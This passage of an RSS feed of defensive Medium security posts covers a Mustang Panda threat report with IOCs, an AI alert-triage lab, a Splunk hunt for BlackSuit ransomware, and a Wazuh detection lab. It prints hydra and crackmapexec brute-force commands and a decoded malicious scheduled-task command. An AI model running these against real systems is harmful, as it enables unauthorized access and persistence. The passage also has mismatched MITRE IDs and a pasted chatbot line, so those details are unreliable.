(T1059) — DLL Side-Loading</h3><p>Legitimate signed applications (e.g., trusted software tools) are bundled with malicious DLL files.<br>When the trusted program runs, it unknowingly loads the malware, helping attackers bypass security tools. (<a href="https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims?utm_source=chatgpt.com">blogs.blackberry.com</a>)</p><h3>Persistence (T1547) — Registry Run Keys</h3><p>Malware modifies Windows registry startup entries so it automatically runs each time the user logs in.<br>Other persistence methods include scheduled tasks and service installation.</p><h3>Defense Evasion (T1014) — Rootkits</h3><p>Advanced attacks deploy kernel-level rootkits to hide malicious files, processes, and network activity from security tools. (<a href="https://www.picussecurity.com/resource/blog/breaking-down-mustang-panda-windows-endpoint-campaign?utm_source=chatgpt.com">Picus Security</a>)</p><h3>Lateral Movement (T1091) — USB Worms</h3><p>Custom USB malware spreads through removable drives, allowing infection of offline or air-gapped systems.<br>Some variants activate only in specific geographic locations. (<a href="https://www.picussecurity.com/resource/blog/breaking-down-mustang-panda-windows-endpoint-campaign?utm_source=chatgpt.com">Picus Security</a>)</p><h3>Command &amp; Control (T1573) — Encrypted C2</h3><p>Tools like <strong>StarProxy</strong> relay encrypted traffic through intermediate systems, making detection and attribution harder. (<a href="https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1?utm_source=chatgpt.com">Zscaler</a>)</p><h3>Collection (T1056) — Keylogging</h3><p>Custom keyloggers capture keystrokes, screenshots, and clipboard data to steal sensitive credentials and information. (<a href="https://www.scworld.com/brief/updated-attack-arsenal-flaunted-by-mustang-panda?utm_source=chatgpt.com">SC Media</a>)</p><h3>Malware Arsenal</h3><ul><li><strong>PlugX</strong> — Primary remote access malware used for long-term control</li><li><strong>TONESHELL / PUBLOAD</strong> — Custom loaders used to deploy payloads</li><li><strong>LOTUSLITE</strong> — Newer backdoor used in recent campaigns, especially against government targets. (<a href="https://www.picussecurity.com/resource/blog/breaking-down-mustang-panda-windows-endpoint-campaign?utm_source=chatgpt.com">Picus Security</a>)</li></ul><h3>Notable Incidents Summary — Mustang Panda</h3><p><strong>2026 — Global Diplomatic Campaign (DOPLUGS Impersonation)</strong><br>Mustang Panda conducted a widespread spear-phishing campaign by impersonating U.S. diplomatic personnel to distribute the <strong>DOPLUGS</strong> malware. Targets included foreign ministry staff, policy researchers, and government contractors across multiple regions.</p><p><strong>2025 — European Government Espionage (Windows LNK Zero-Day)</strong><br>The group exploited a Windows shortcut vulnerability (<strong>CVE-2025–9491</strong>) to deliver malware to government systems in Belgium, Hungary, and other EU countries. The campaign targeted diplomatic and legislative staff to gather intelligence on EU policies.</p><p><strong>2025 — Thailand USB Operation (Geofenced SnakeDisk)</strong><br>Mustang Panda deployed the <strong>SnakeDisk</strong> USB worm in Thailand, using geofencing logic so the malware activated only within Thailand. Targets included government ministries and organizations linked to Myanmar border affairs.</p><p><strong>June 2025 — Tibetan Community Targeting (Dalai Lama Lures)</strong><br>A targeted phishing campaign used culturally relevant messages related to the Dalai Lama’s birthday to attack Tibetan communities, advocacy groups, and journalists, likely to monitor communications and activism.</p><h3>05. Indicators of Compromise (IOCs)</h3><p>The following IOCs are associated with known Mustang Panda / Earth Preta campaigns as of April 2026. Defenders should ingest these into SIEM, EDR, and firewall platforms immediately. All network IOCs should be treated as malicious pending investigation.</p><p>Here’s a <strong>concise summary of the IOC section</strong>, keeping it structured so it fits well into a <strong>threat-intel report or SOC notes</strong>.</p><h3>IOC Summary — Mustang Panda / Earth Preta (April 2026)</h3><p><strong>Overview:</strong><br>These Indicators of Compromise (IOCs) are linked to recent Mustang Panda campaigns. Security teams should ingest them into <strong>SIEM, EDR, and firewall systems</strong>, and treat all listed network indicators as potentially malicious until verified.</p><h3>1. Network &amp; Infrastructure IOCs</h3><p><strong>Malicious IP Addresses (C2 &amp; Relay Servers):</strong></p><ul><li>103.27.108[.]196 — Command-and-Control (C2)</li><li>45.142.212[.]100 — PlugX C2</li><li>194.165.16[.]77 — LOTUSLITE C2</li><li>89.34.111[.]52 — StarProxy relay node</li></ul><p><strong>Malicious Domains:</strong></p><ul><li>update.microsofts-cdn[.]com — Typosquatting domain</li><li>cdn.windowsupdatecheck[.]net — Masquerading as Windows updates</li><li>secure.vparking[.]online — Phishing infrastructure</li></ul><p><strong>Suspicious URL Pattern:</strong></p><ul><li>/api/v2/update?id=[base64] — Associated with PlugX beacon communication.</li></ul><h3>2. File-Based &amp; Host IOCs</h3><p><strong>Malicious Dropper Files (LNK Lures):</strong></p><ul><li>Meeting_Notes.doc.lnk</li><li>Venezuela_Policy_Brief_2026.pdf.lnk</li></ul><p><strong>DLL Side-Loading Components:</strong></p><ul><li>vlc.exe — Legitimate binary used as sideloading vector</li><li>libvlc.dll — Malicious PlugX loader</li><li>msvcr100.dll — Malicious TONESHELL loader</li></ul><p><strong>Backdoors &amp; Worms:</strong></p><ul><li>svchost32.exe — LOTUSLITE backdoor</li><li>autorun.inf + system~1.exe — SnakeDisk USB worm</li></ul><p><strong>File Hash (Example):</strong></p><ul><li>PlugX SHA-256: a3f7b82c…d4e91bc0</li></ul><h3>3. Persistence Mechanisms</h3><p><strong>Registry Keys:</strong></p><ul><li>HKCU\Software\Microsoft\Windows\CurrentVersion\Run<br>→ &quot;WindowsUpdate&quot; = C:\ProgramData\vlc\vlc.exe</li><li>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options</li></ul><p><strong>Scheduled Task:</strong></p><ul><li>\Microsoft\Windows\WindowsUpdate\Automatic App Update (malicious variant)</li></ul><h3>06. Business Impact Analysis</h3><h3>1. Loss of Intellectual Property</h3><p>Attackers steal sensitive information such as policy documents, research data, negotiation details, and internal communications.<br>For governments, this weakens diplomatic power; for NGOs and think tanks, it exposes confidential networks and sources.</p><h3>2. Operational Disruption</h3><p>Although disruption is not the main goal, responding to an intrusion — through forensic analysis, rebuilding systems, and isolating networks — causes major downtime.<br>USB-based infections in air-gapped systems can be especially costly to remediate.</p><h3>3. Supply Chain Contagion</h3><p>Compromised organizations can unintentionally spread the attack to partners, vendors, or clients.<br>A single infected system with shared access (such as VPN connections) can expose multiple connected organizations.</p><h3>4. Financial &amp; Legal Consequences</h3><p>Data breaches can lead to regulatory penalties and legal obligations, especially in regions with strict data protection laws.<br>Failure to detect and report incidents quickly increases financial risk.</p><h3>5. Erosion of Trust</h3><p>Discovery of espionage damages reputation and trust among partners, stakeholders, and the public.<br>For government and diplomatic organizations, this can affect long-term relationships and intelligence-sharing.</p><h3>6. Strategic Intelligence Loss</h3><p>The most serious impact is the loss of confidential decision-making advantage.<br>When attackers access internal communications, they gain insight into strategies before actions are taken — giving them long-term strategic advantage.</p><h3>Key Takeaways — Mustang Panda / Earth Preta</h3><p>Mustang Panda is a highly persistent state-sponsored threat actor that conducts long-term cyber espionage using spear-phishing, DLL side-loading, USB propagation, and custom malware to infiltrate government and diplomatic networks, maintain stealthy access, and steal sensitive strategic intelligence over extended periods.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e193565a1ac5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building An AI-Powered SOC Alert Triage Workflow]]></title>
            <link>https://medium.com/@ezechijapheth/building-an-ai-powered-soc-alert-triage-workflow-bce04b87ff7b?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/bce04b87ff7b</guid>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Wed, 08 Apr 2026 12:34:33 GMT</pubDate>
            <atom:updated>2026-04-08T12:34:33.882Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Automating Network Threat Detection and Analyst Response</strong></p><p>What happens when suspicious traffic quietly builds inside a network — and no analyst is watching in real time?</p><p>In modern Security Operations Centers (SOCs), analysts face an overwhelming volume of alerts every day. Many of these alerts require repetitive triage steps such as validating telemetry, assessing severity, and determining whether escalation is necessary.</p><p>Imagine you’re part of a Tier 1 SOC team monitoring enterprise network traffic. During routine monitoring, an internal server begins receiving <strong>unusual volumes of ICMP traffic</strong> from another host on the network.</p><p>At first glance, this might seem harmless — but the volume rapidly increases.</p><p>Within seconds:</p><ul><li>Packet counts spike</li><li>System resources begin to strain</li><li>Network latency increases</li></ul><p>This behavior strongly resembles an <strong>ICMP Flood attack</strong>, a technique commonly used to overwhelm systems and degrade network performance.</p><p>Without automation, this situation would require:</p><ol><li>Manual traffic analysis</li><li>Alert validation</li><li>Threat classification</li><li>Severity scoring</li><li>Reporting</li></ol><p>Instead, I built a system capable of handling this workflow automatically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p49S72SxVXlZu2bIX__3Bg.png" /><figcaption>AI-Powered SOC Detection and Triage Architecture Diagram</figcaption></figure><h3>🏗️ SOC Lab Architecture Overview</h3><p>To simulate this enterprise environment, I designed a <strong>multi-component SOC detection architecture</strong>.</p><p>The environment included:</p><ul><li><strong>Attacker Machine (Ubuntu VM)</strong><br>Simulated malicious traffic generation.</li><li><strong>Internal Monitoring Server (Kali Linux VM)</strong><br>Captured live network traffic and triggered alerts.</li><li><strong>AI SOC Analyst Agent (Cloud-Based)</strong><br>Performed automated threat triage and risk scoring.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qzz87FCtISm3t2mKuyRgqg.png" /><figcaption><strong>Network Architecture Diagram / SOC Lab Topology</strong></figcaption></figure><h3>Engineering the AI SOC Analyst Agent</h3><p>At the core of this project was the <strong>AI-powered SOC Analyst Agent</strong>, designed to behave like a real Tier 1 analyst.</p><p>This agent was engineered to:</p><ul><li>Validate incoming alert data</li><li>Classify threat types</li><li>Assign risk scores</li><li>Generate structured investigation summaries</li><li>Recommend next-response actions</li></ul><p>Rather than producing generic responses, the agent followed a <strong>defined SOC triage playbook</strong>, ensuring consistent and professional analysis output.</p><p>Key capabilities included:</p><p>✔ Input validation<br>✔ Threat classification<br>✔ Risk scoring<br>✔ Executive-level reporting</p><p>This approach simulates how enterprise SOC teams maintain standardized investigation workflows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lL2UtDEyGM0BeKWpB50uQ.png" /><figcaption><strong>AI Agent Dashboard</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4aMMvzBNzoFbMPQcKbewWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePFrcv78sv4kHRn6pFwF8Q.png" /><figcaption><strong>SOC Playbook Configuration</strong></figcaption></figure><h3>Integrating Detection with AI Response</h3><p>Once the AI agent was operational, the next challenge was <strong>integrating real network detection</strong> with automated triage.</p><p>To accomplish this, I developed a <strong>Python-based monitoring engine</strong> capable of:</p><ul><li>Capturing network packets using TShark</li><li>Converting PCAP traffic into structured logs</li><li>Identifying suspicious traffic thresholds</li><li>Automatically generating structured alert data</li><li>Sending alerts directly to the AI agent via API</li></ul><p>This transformed raw traffic into <strong>actionable intelligence</strong>.</p><p>Instead of analysts manually reviewing logs, the system automatically flagged anomalies and initiated analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0pPMFsIwbBmmcMxbcsyHeQ.png" /><figcaption><strong>Python Detection Script</strong></figcaption></figure><h3>The Attack Simulation: ICMP Flood Event</h3><p>With the environment fully configured, I initiated a <strong>simulated attack scenario</strong>.</p><p>From the attacker machine, a <strong>bulk ICMP ping flood</strong> was launched against the monitored internal server.</p><p>Almost immediately:</p><ul><li>Packet volume surged</li><li>Traffic thresholds were exceeded</li><li>The monitoring script triggered an alert</li></ul><p>Instead of simply logging the event, the system escalated it automatically.</p><p>Within seconds:</p><ol><li>Traffic exceeded detection thresholds</li><li>An alert was generated</li><li>Structured JSON data was sent to the AI agent</li><li>The AI performed threat triage</li><li>A professional security assessment was returned</li></ol><p>This demonstrated a <strong>fully automated SOC detection-to-triage pipeline</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1SnIdQ3QtJdff0v3Vh56kA.png" /><figcaption><strong>Terminal Output Showing Traffic Threshold Detection</strong></figcaption></figure><h3>Automated Threat Triage in Action</h3><p>Once the alert reached the AI SOC Analyst Agent, the system produced a structured triage report.</p><p>The response included:</p><ul><li>Threat classification</li><li>Risk severity level</li><li>Attack summary</li><li>Recommended containment steps</li><li>Executive-level explanation</li></ul><p>This mirrors how real SOC environments generate <strong>incident-ready reports</strong> for analysts and stakeholders.</p><p>Instead of spending time writing summaries manually, analysts receive <strong>immediate actionable intelligence</strong>.</p><pre>## Alert Investigation Summary<br><br>**Capture Interface:** eth0  <br>**Packets Captured:** 48  <br>**PCAP File Generated:** traffic.pcap  <br>**CSV File Generated:** traffic.csv  <br><br>---<br><br>## Traffic Analysis Results<br><br>**Source IP Detected:** 192.168.42.133  <br>**Total Packets Observed:** 48 packets  <br><br>⚠️ **Suspicious Activity Identified**<br><br>The detection engine flagged the source IP <br>**192.168.42.133** after exceeding the defined <br>packet threshold.<br><br>An alert file was successfully created:<br><br>**Generated Alert File:** alert.json  <br><br>---<br><br>## AI SOC Analyst Response<br><br>**API Communication Status:** 200 (Success)<br><br>The alert was successfully transmitted to the <br>AI SOC Analyst Agent for automated triage.<br><br>---<br><br>## AI Triage Findings<br><br>**Alert ID:** SOC-0F316BEB  <br>**Threat Classification:** Suspicious Network Volume  <br>**Risk Score:** 20  <br>**Risk Level:** Low  <br>**Confidence Level:** Low  <br><br>---<br><br>## MITRE ATT&amp;CK Mapping<br><br>**Tactic:** Uncertain  <br>**Technique ID:** Not Assigned  <br>**Technique Name:** Not Assigned  <br><br>Note:<br>Insufficient telemetry fields were available <br>to assign a definitive MITRE ATT&amp;CK technique.<br><br>---<br><br>## Analysis Summary<br><br>A moderate volume of network traffic was <br>observed from:<br><br>**Source IP:** 192.168.42.133  <br>**Destination IP:** 192.168.42.128  <br><br>**Packet Count:** 48 packets  <br>**Observation Window:** 100 seconds  <br><br>No high-risk indicators were identified, <br>and no repeated burst patterns were detected <br>within short time intervals.<br><br>However, missing telemetry fields such as:<br><br>- Source Host<br>- Protocol Information<br><br>limited full threat attribution.<br><br>The activity may represent:<br><br>- Benign network noise<br>OR<br>- Low-level reconnaissance behavior<br><br>Further monitoring is recommended.<br><br>---<br><br>## Recommended Action<br><br>✔ Continue Monitoring  <br><br>No escalation required at this stage.<br><br>---<br><br>## Executive Summary<br><br>A low-risk network event involving moderate <br>traffic volume was detected from an internal IP.<br><br>Current evidence does not confirm malicious <br>intent. Additional telemetry should be collected <br>to determine whether the behavior represents <br>normal activity or early-stage reconnaissance.</pre><p><strong>[AI Triage Response Output / Risk Score Display]</strong></p><h3>Final Thoughts</h3><p>Security operations are evolving rapidly.</p><p>The future SOC isn’t just about analysts watching dashboards — <br>it’s about <strong>intelligent systems assisting analysts in real time.</strong></p><p>This project demonstrates how automation, detection engineering, and AI-driven triage can work together to create <strong>faster, smarter, and more resilient security workflows.</strong></p><p>For organizations facing growing alert volumes and limited analyst capacity, systems like this represent a powerful step forward.</p><p>Credits : The full walkthrough can be found in this link {<a href="https://youtu.be/K0k9WouiBwE?si=P8EsY3rCBhho6bB1">Walkthrough</a>}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bce04b87ff7b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Six Machines Down: Hunting BlackSuit Ransomware Through Splunk Logs]]></title>
            <link>https://medium.com/@ezechijapheth/six-machines-down-hunting-blacksuit-ransomware-through-splunk-logs-cbab3e166842?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/cbab3e166842</guid>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Fri, 27 Mar 2026 16:30:41 GMT</pubDate>
            <atom:updated>2026-03-27T16:30:41.778Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A step-by-step walkthrough of tracing a full ransomware kill chain — from a suspicious scheduled task to six encrypted endpoints — using nothing but SPL queries and a decoder.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fq-JhlMl7ABH9htXQfZWBQ.jpeg" /></figure><p>TL;DR</p><p>An attacker compromised CORP\gnunez, planted a malicious binary disguised as a Windows system file, added a user to Remote Desktop Users for persistent access, and deployed BlackSuit ransomware across six systems. This article documents the full investigation using Splunk and Sysmon logs.</p><p>Every ransomware incident tells a story — if you know where to look. In this lab, I was handed a Splunk environment and a single lead: an alert fired when a domain user was added to the <em>Remote Desktop Users</em> group. What followed was a thread that unraveled an entire attack chain.</p><p>Here’s how I traced it, query by query.</p><h3>The kill chain at a glance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*77cidyvDKyCMzef370IwJw.png" /></figure><p>— &gt;RDP group add → Encoded PowerShell→ Scheduled task→Malicious binary → BlackSuit deployed→ systems encrypted</p><h3>Step 1 — The alert that started everything</h3><p>The investigation began with a Splunk alert: CORP\cjackson was added to BUILTIN\Remote Desktop Users. This maps to Windows Security Event ID 4732 — a member added to a security-enabled local group.</p><pre>index=* sourcetype=&quot;WinEventLog:Security&quot;<br>EventCode=4732 | search Member_Name=&quot;CORP\\cjackson&quot;<br>Group_Name=&quot;BUILTIN\\Remote Desktop Users&quot;<br>| table _time, SubjectUserName, Member_Name, Group_Name, ComputerName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*65dLdXc2CbzBnqOCPVF6uA.png" /><figcaption>Splunk alert results for EventCode 4732</figcaption></figure><p>Adding a user to Remote Desktop Users grants remote login capability — a classic lateral movement technique. The SubjectUserName field reveals who made the change, not just who was added.</p><h3>Step 2 — Decoding the attacker’s playbook</h3><p>Knowing an alert fired is one thing. Understanding <em>how</em> it was triggered is another. I hunted for the PowerShell command that made it happen using Sysmon EventCode 1 (Process Create), filtering for encoded commands — the attacker’s favourite way to hide intent.</p><pre>index=main source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot;<br>EventCode=1 earliest=&quot;01/01/2025:00:00:00&quot;<br>| eval proc=lower(coalesce(Image, ProcessName, New_Process_Name))<br>| search proc=&quot;*powershell.exe&quot; | where like(CommandLine, &quot;% -enc%&quot;)<br>| sort _time asc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y3l57RvuAJm9upzQn4p1bg.png" /><figcaption>Sysmon EventCode 1 results showing encoded PowerShell</figcaption></figure><p>The oldest event held a long Base64-encoded string. I threw it into CyberChef with two operations: <strong>From Base64</strong> → <strong>Decode Text (UTF-16LE)</strong>. The decoded result was immediately suspicious:</p><pre>schtasks /create /tn &quot;Update&quot; /tr &quot;C:\Windows\System32\spool\drivers\color\credwiz.exe&quot; /sc daily /st 12:00</pre><p>Two immediate red flags: the task is named “Update” to blend in with legitimate Windows tasks, and credwiz.exe is placed in spool\drivers\color\ — a writable, rarely-monitored directory — instead of its legitimate home in System32.</p><h3>Step 3 — Pinpointing when persistence was established</h3><p>With a task name and binary path in hand, I needed to confirm exactly when this persistence mechanism was planted. Scheduled task creation is logged under Windows Security EventCode 4698.</p><pre>index=main &quot;&lt;EventID&gt;4698&lt;/EventID&gt;&quot;<br>| search _raw=&quot;*Update*&quot;<br>| sort _time asc | head 1 | table _time, sourcetype, _raw</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OL73iimswBXVwOGlQyhVYA.png" /><figcaption>EventCode 4698 result showing the Update task creation</figcaption></figure><p>The raw event confirmed everything. The scheduled task \Update was created at <strong>2025-01-29T13:42:52 UTC</strong> by CORP\gnunez on ws1.corp.local — our compromised account and patient zero machine.</p><p>Task created2025–01–29T13:42:52 UTC</p><p>Created byCORP\gnunez</p><p>Machinews1.corp.local</p><p>BinaryC:\Windows\System32\spool\drivers\color\credwiz.exe</p><p>ScheduleDaily at 12:00</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HViUWb3sC2QC2k4GBGMpYg.png" /><figcaption>XML event with TaskName \Update and SubjectUserName gnunez visible</figcaption></figure><h3>Step 4 — The ransomware reveals itself</h3><p>Now came the most critical part of the investigation — identifying the ransomware family and measuring the blast radius. I hunted for ransom note file drops using Sysmon EventCode 11 (File Created), casting a wide net across all processes dropping text and HTML files repeatedly.</p><pre>index=main source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot;<br>EventCode=11 | where match(TargetFilename, &quot;(?i)\.(txt|html|htm|hta)$&quot;)<br>| stats count by TargetFilename, Image | sort count desc | head 20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*drZihkfdJw7CeCmOnPCczw.png" /><figcaption>File creation stats showing readme.blacksuit.txt with high count</figcaption></figure><p>Show the stats table with readme.blacksuit.txt at the top with a very high count</p><p>The ransom note readme.blacksuit.txt appeared hundreds of times — dropped into every directory alongside encrypted files. The process responsible was bfsvc.exe. The family: <strong>BlackSuit ransomware</strong>.</p><p>BlackSuit is a ransomware family that emerged in 2023, widely believed to be a rebrand of Royal ransomware. It targets both Windows and Linux, appends .blacksuit to encrypted files, and is known for double extortion — encrypting data while threatening to publish stolen files. T1053.005</p><h3>Step 5 — Counting the casualties</h3><p>The final question: how many systems were hit? By counting distinct hostnames that had the ransom note dropped on them, I could determine the true scope of the infection.</p><pre>index=main source=&quot;XmlWinEventLog:Microsoft-Windows-Sysmon/Operational&quot;<br>EventCode=11 | search TargetFilename=&quot;*readme.blacksuit.txt*&quot;<br>| stats dc(host) as infected_systems, values(host) as systems<br>| table infected_systems, systems</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*efpCfSer1KKFUKoJFhzngQ.png" /><figcaption>Final query result showing 6 infected systems</figcaption></figure><p><strong>Six systems.</strong> The ransomware had spread across the network before anyone noticed — a reminder of how quickly dwell time turns into damage.</p><h3>Key takeaways</h3><p>This lab reinforced a few lessons that translate directly to real-world incident response:</p><p><strong>Follow the scheduled tasks.</strong> EventCode 4698 is undermonitored. A task created by a user account — rather than SYSTEM — in the middle of a workday is a serious red flag worth alerting on.</p><p><strong>The </strong><strong>-enc flag is always suspicious.</strong> Legitimate applications rarely need to pass Base64-encoded commands to PowerShell. Any occurrence should be decoded and inspected immediately.</p><p><strong>Know your writable directories.</strong> Paths like spool\drivers\color\ are legitimate Windows directories that are also writable by non-admin users — a favourite staging ground for attackers masquerading malware as system files.</p><p><strong>Ransom notes are breadcrumbs.</strong> Even without knowing the process name upfront, the repetitive file creation pattern of a ransom note dropped in every directory is a reliable signal to hunt for in Sysmon EventCode 11 data.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cbab3e166842" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simulating and Detecting RDP & SMB Attacks on a Windows 10 Endpoint Using Wazuh]]></title>
            <link>https://medium.com/@ezechijapheth/simulating-and-detecting-rdp-smb-attacks-on-a-windows-10-endpoint-using-wazuh-84decdfc0851?source=rss-bca8169c1efb------2</link>
            <guid isPermaLink="false">https://medium.com/p/84decdfc0851</guid>
            <dc:creator><![CDATA[Ezechi Jeremiah Chigozie]]></dc:creator>
            <pubDate>Fri, 27 Feb 2026 21:26:02 GMT</pubDate>
            <atom:updated>2026-02-27T21:26:02.769Z</atom:updated>
            <content:encoded><![CDATA[<p>In enterprise environments, exposed services such as RDP and SMB frequently appear in vulnerability reports, but their operational impact is best understood when correlated with live attack activity. To examine this relationship, I configured a Windows 10 endpoint with controlled weaknesses, validated them using Nessus, and simulated credential-based attacks from a Kali Linux system.</p><p>The objective was to observe how these conditions translate into security telemetry — specifically how Windows logs authentication failures, how Wazuh correlates repeated attempts into structured alerts, and how high-severity events can be escalated in real time through Slack.</p><p>This exercise reflects a typical SOC workflow: identify exposure, monitor for exploitation attempts, validate alerts, investigate root cause, and confirm remediation effectiveness through re-scanning.</p><p><strong>Tools Used:</strong></p><ul><li><strong>Nessus</strong> — Vulnerability assessment and scanning</li><li><strong>Kali Linux</strong> — Attack simulation and exploitation</li><li><strong>Wazuh Manager &amp; Indexer</strong> — Log collection, correlation, and alerting</li><li><strong>Slack</strong> — Real-time alert notifications</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xUbxMjuhyWbmMtBEsy2nxQ.png" /><figcaption>Network Diagram Overview</figcaption></figure><p><strong>Vulnerability Identified (Nessus)</strong></p><p>Using <strong>Nessus</strong>, the Windows 10 VM was scanned for critical vulnerabilities. Two major issues were found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CLNEnKxf1-dnHQoPda32hw.png" /></figure><ul><li><strong>RDP Exposure (Port 3389)</strong> — Weak credentials allowed brute force attempts.</li><li><strong>SMBv1 Enabled (Port 445)</strong> — Allowed potential authentication attacks (CVSS v3.0 Temporal Score).</li></ul><p><strong>Why this matters:</strong> Vulnerability assessment is the foundation of proactive security. Without scanning, SOC teams cannot prioritize threats or deploy detection rules effectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YjPKbc5y8iZLOoxkY2da6Q.png" /><figcaption>Nessus scan screenshot highlighting SMB vulnerabilities</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zASVE34anFnbJZl9JB5mmQ.png" /><figcaption>Nessus scan screenshot highlighting RDP vulnerabilities]</figcaption></figure><p><strong>Threat Simulation (Kali Exploit)</strong></p><p>To simulate real-world attacks:</p><p><strong>Attack 1 — RDP Brute Force</strong></p><pre>hydra -V -f -l testuser -P /usr/share/wordlists/rockyou.txt rdp://192.168.x.x</pre><p><strong>Attack 2 — SMB Brute Force</strong></p><pre>crackmapexec smb 192.168.x.x -u testuser -p /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PCr63PXjkjBRW0_Z2vrR4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*et-jzAfPKB4jQu7QYOxb2Q.png" /><figcaption>RDP/SMB brute force attempts</figcaption></figure><p>These attacks mimic what SOC teams often monitor in enterprise environments. The attacks generated multiple failed logins, triggering security alerts and demonstrating the importance of early detection.</p><p><strong>Detection Evidence (Wazuh Logs)</strong></p><p>Wazuh successfully detected the simulated attacks. Key observations include:</p><ul><li><strong>RDP Brute Force:</strong> Rule ID 110002, mapped to MITRE T1110</li><li><strong>SMB Brute Force:</strong> Custom Rule ID 100101, high-severity detection</li><li>Windows Event IDs: 4625 (failed logon)</li></ul><p><strong>Where detection was configured:</strong></p><ul><li><strong>Wazuh Manager</strong> collected the logs from the Windows agent</li><li><strong>Wazuh Indexer</strong> correlated them with the rules we tuned for brute force detection</li></ul><p>This step demonstrates monitoring (Tier 1) and validation (Tier 2). Tier 1 analysts detect suspicious logins, while Tier 2 analysts validate alerts, check event details, and correlate with vulnerability data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aexkIM4PNAHBj4hXCmsv8A.png" /><figcaption>Brute Force Attack detected in Wazuh Dashboard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GKRnezBfWlrhy-FUP27Rkg.png" /><figcaption>RDP filter by rule 110002</figcaption></figure><p><strong>Alert Escalation (Slack Notification)</strong></p><p>High-severity alerts were forwarded to Slack in real time:</p><pre>🚨 ALERT: Critical Brute Force Attempt Detected<br>Source IP: 192.168.x.x<br>User: testuser<br>Rule ID: 110002<br>MITRE: T1110</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-fGHTDag-RGUvd3RAdqgPw.png" /><figcaption>Slack alert screenshot</figcaption></figure><p>This integration ensures rapid awareness of ongoing attacks. In enterprise environments, such notifications allow analysts to respond immediately, reducing the dwell time of potential threats.</p><p><strong>Root Cause</strong></p><p>The main causes of the detected attacks were:</p><ul><li>Exposed services (RDP and SMB)</li><li>Weak user credentials</li><li>SMBv1 enabled, increasing attack surface</li><li>Account lockout policies (if disabled) allowed repeated attempts</li></ul><p>Understanding root cause is critical for actionable remediation. Tier 2 analysts correlate the observed attacks with misconfigurations and vulnerabilities to prevent recurrence.</p><p><strong>Remediation Steps</strong></p><ol><li><strong>Disable SMBv1</strong>:</li></ol><pre>Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol</pre><p><strong>2. Harden RDP</strong>:</p><ul><li>Enforce strong passwords</li><li>Restrict access by IP</li><li>Enable Network Level Authentication</li></ul><p><strong>3. Enable Account Lockout Policies</strong>:</p><ul><li>Threshold: 5 failed attempts</li><li>Duration: 15 minutes</li></ul><p><strong>4. Apply Windows Updates and Patches</strong><br> These steps reduce attack surface, improve detection relevance, and align with enterprise hardening standards.</p><p><strong>Personal Reflection</strong></p><p>By intentionally creating vulnerabilities, simulating attacks, and monitoring them through Wazuh and Slack, I gained a deeper understanding of how threats are detected, analyzed, and escalated in an enterprise environment.</p><p>I learned the importance of end-to-end visibility: from identifying weaknesses, observing attack behavior, to tuning detection rules for actionable alerts. This hands-on experience strengthened my analytical thinking, reinforced SOC best practices, and gave me confidence in correlating logs, interpreting alerts, and recommending remediation steps — skills critical for both Tier 1 monitoring and Tier 2 investigation.</p><img 